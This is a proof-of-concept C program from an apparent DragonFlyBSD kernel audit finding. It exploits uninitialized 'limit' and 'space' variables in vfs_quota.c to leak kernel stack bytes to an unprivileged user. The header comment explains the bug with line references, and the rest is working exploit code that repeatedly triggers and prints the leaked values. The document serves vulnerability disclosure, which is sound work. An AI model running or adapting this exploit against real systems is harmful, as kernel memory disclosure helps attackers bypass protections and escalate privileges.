DragonFlyBSD Kernel Audit
DF-2925 / vqleak.c
← back to finding ↓ download raw
/*
 * DF-2925 proof-of-concept: kernel stack info leak via uninitialized
 * 'limit'/'space' in sys/kern/vfs_quota.c.
 *
 * cmd_set_limit() (vfs_quota.c:273-284):
 *     uint64_t limit;                          <-- never initialized
 *     prop_dictionary_get_uint64(args, "limit", &limit);  <-- return
 *                                                          discarded
 *     mp->mnt_acct.ac_limit = limit;           <-- stack garbage stored
 *
 * prop_dictionary_get_uint64() leaves *valp untouched when the key is
 * missing (prop_dictionary_util.c), so 8 bytes of uninitialized kernel
 * stack are copied into ac_limit and disclosed to any user through
 * "get usage all" (cmd_get_usage_all() echoes ac_limit at :184).
 *
 * Same pattern for 'space' in cmd_set_usage_all() (:249 -> :263,
 * ac_bytes) and for limit in cmd_set_limit_uid/gid (:294/:315).
 *
 * Usage: vqleak <path> [n_runs]
 */
#include <sys/vfs_quota.h>
#include <libprop/proplib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <inttypes.h>

static int
set_limit_nokey(const char *path)
{
	prop_dictionary_t dict, args;
	struct plistref pref;
	int error;

	dict = prop_dictionary_create();
	prop_dictionary_set_cstring(dict, "command", "set limit");
	/* arguments is a dict with NO "limit" key -> kernel keeps stack garbage */
	args = prop_dictionary_create();
	prop_dictionary_set_cstring(args, "junk", "no limit key here");
	prop_dictionary_set(dict, "arguments", args);

	error = prop_dictionary_send_syscall(dict, &pref);
	if (error) return error;
	error = vquotactl(path, &pref);
	return error;
}

static int
get_usage_all(const char *path, uint64_t *limitp, uint64_t *spacep)
{
	prop_dictionary_t dict, res, item;
	prop_array_t arr;
	struct plistref pref;
	int error, rv = -1;
	unsigned i;

	dict = prop_dictionary_create();
	prop_dictionary_set_cstring(dict, "command", "get usage all");
	prop_dictionary_set(dict, "arguments", prop_array_create());

	error = prop_dictionary_send_syscall(dict, &pref);
	if (error) return -1;
	error = vquotactl(path, &pref);
	if (error) return -1;
	if (prop_dictionary_recv_syscall(&pref, &res) != 0) return -1;

	arr = prop_dictionary_get(res, "returned data");
	if (arr == NULL) goto out;
	item = prop_array_get(arr, 0);		/* first item = global {space,limit} */
	if (item == NULL) goto out;
	prop_dictionary_get_uint64(item, "limit", limitp);
	prop_dictionary_get_uint64(item, "space used", spacep);
	rv = 0;
out:
	return rv;
}

int
main(int argc, char **argv)
{
	const char *path;
	int runs = 5, i;
	uint64_t limit = 0, space = 0;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <path> [n_runs]\n", argv[0]);
		return 2;
	}
	path = argv[1];
	if (argc > 2) runs = atoi(argv[2]);

	for (i = 0; i < runs; i++) {
		int e1, e2;
		limit = space = 0;
		e1 = set_limit_nokey(path);
		e2 = get_usage_all(path, &limit, &space);
		printf("run %2d: set=%d get=%d  leaked ac_limit=0x%016" PRIx64
		       "  ac_bytes=0x%016" PRIx64 "\n",
		       i, e1, e2, limit, space);
	}
	return 0;
}